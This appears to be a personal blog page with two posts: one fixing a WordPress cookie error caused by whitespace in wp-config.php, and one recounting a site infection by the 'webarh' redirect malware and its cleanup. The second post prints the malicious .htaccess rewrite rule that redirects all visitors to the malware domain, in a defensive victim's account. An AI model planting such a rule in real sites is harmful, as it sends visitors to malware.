WordPress Always check the Log Files

Recently I built a new PC and I ran into an issue where for some reason I couldn’t login to WordPress on my blog from the new PC. I could still login on my laptop, but not on my PC.

Every time I tried to login I got hit with the following error:

ERROR: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.

This appears to be quite a common error but none of the solutions I found for it seemed to work.

My browser was accepting cookies, they were definitely not disabled, I’d noticed that WordPress had recently auto updated to 3.8.1 so I assumed that was the problem and it would hopefully fix it’s self in the next update. Anyway it was working on my laptop so I could still login.

Then all of a sudden a couple of days ago my laptop stopped being able to login to WordPress with the same error…

I searched and searched for a solution, I edited themes, manually removed plugins, deleted themes, created my own plugins to explicitly set the cookie, tried to ensure the that domain was correct.


I’d seen some people say that a reinstall helped so I reinstalled WordPress, after taking a backup, and then copied back my wp-config.php because it had the login details for the database in it.


Hunting for a solution for a couple of hours I decided to check the error log…

I wish I’d done this earlier… The log was full of errors most of them had something along the lines of:

PHP Warning:  Cannot modify header information – headers already sent by (output started at /home/ohmznet/public_html/wp-config.php:34)

Ok Lets look at wp-config.php… Lo and behold:


What’s that after the end tag of PHP script? Two new lines…

It turns out that the second you write anything to the actual page, the header gets written, which means that you can’t set cookies. That includes whitespace.

Those two blank lines broke my WordPress site so bad that I couldn’t login.

So yeah, I’ve learnt a lesson I should already know:


Webarh? More like Web Aargh!

Earlier this weekend I got a Facebook message from a friend saying that my website was redirecting to a malware site. Thankfully I was near a computer and had a look at it, every page view was redirecting to a site that installed malware on your computer. Thankfully most browsers recognise this fact and present you with a warning page.

I did some hunting and it turns out I had been infected with webarh redirect virus (Also reffered to as funnysignage as it uses the same mode of attack), this virus has added the following  line to any index.php files it found:




Note the numbers at the end are just a random identifier, probably so that they can tell where it originated.

And it had also gone through pretty much every directory either replacing or adding a .htaccess file with the following content:

RewriteEngine On
RewriteBase /
RewriteRule ^(.*)? http://webarh.com/07628e5249a8b3459e49860dc9045837

For the non tech savvy the first bit tells your web browser to redirect to (Don’t go to that link, bad things will happen):


The other tells my web server to send all requests for ANY PAGES to that same URL. It’s a two pronged attack, if you have script blocking software on your browser the .htaccess file makes the server send you to the malware site, if your server ignores the .htaccess file, then there is a chance that the script will be work. Eitherway when you end up at that URL no doubt the website tries to exploit whatever vulnerabilities exist in your browser to install bad software on your computer.

I diligently deleted all the .htaccess files and removed the script line from every file I could find it in. I did a grep for webarh.com over the entire website, and removed any references to it I could find, I even changed the ftp password on my site because I read that sometimes that’s how webarh infects your server. It looked like all was good for about 18 hours my site was back up and running and everything was hunky dory. At about midnight last night I got a text from someone else telling me  my site was broken again. I check and sure enough it was redirecting again, but only partially, some of the other domains I host in subdirectories of my web space were okay.

I’d heard that the webarh/funnysignage redirect sometimes puts back doors into your site, I didn’t have the time to look through every php file on my server which hosts 4 wordpress installs and a phpbb install so I took a deep breath and deleted everything… Most of my content was in the database, the only content that wordpress stores on disk is images and stuff you have uploaded. Of course I took a backup of the site beforehand just in case.

I’ve so far restored two of my wordpress blogs, and everything seems okay, I deleted an old version of phpMyAdmin I had lying about from before my service provider gave me direct access to the database. I’ve not deleted the phpBB install yet as that didn’t seem to be infected aside from the fact that the .htaccess file was causing everything to redirect to the malware site. So the next step would be to remove that too.

Fingers crossed it’s all looking good, if it happens again then I’m going to be a little more worried, either:

  • There is a backdoor in the SQL somewhere, then I’m really screwed.
  • There is a backdoor in phpBB, in which case I’ll have to reinstall that.
  • There is a virus on my computer which is picking up the the FTP password and using it to wreak havoc on my website…

I’m hoping that None of the above apply… And that I’ll be safe from here on out, I think that the root cause of this was the fact that one of my sites didn’t have the latest version of WordPress installed on it, my reasoning behind this is that WordPress recently released a security update that allowed code to be executed etc… I’d updated my main site but had forgotten to update the others.

I’d appreciate anyone who notices any issues on my website getting in touch with me to tell me so.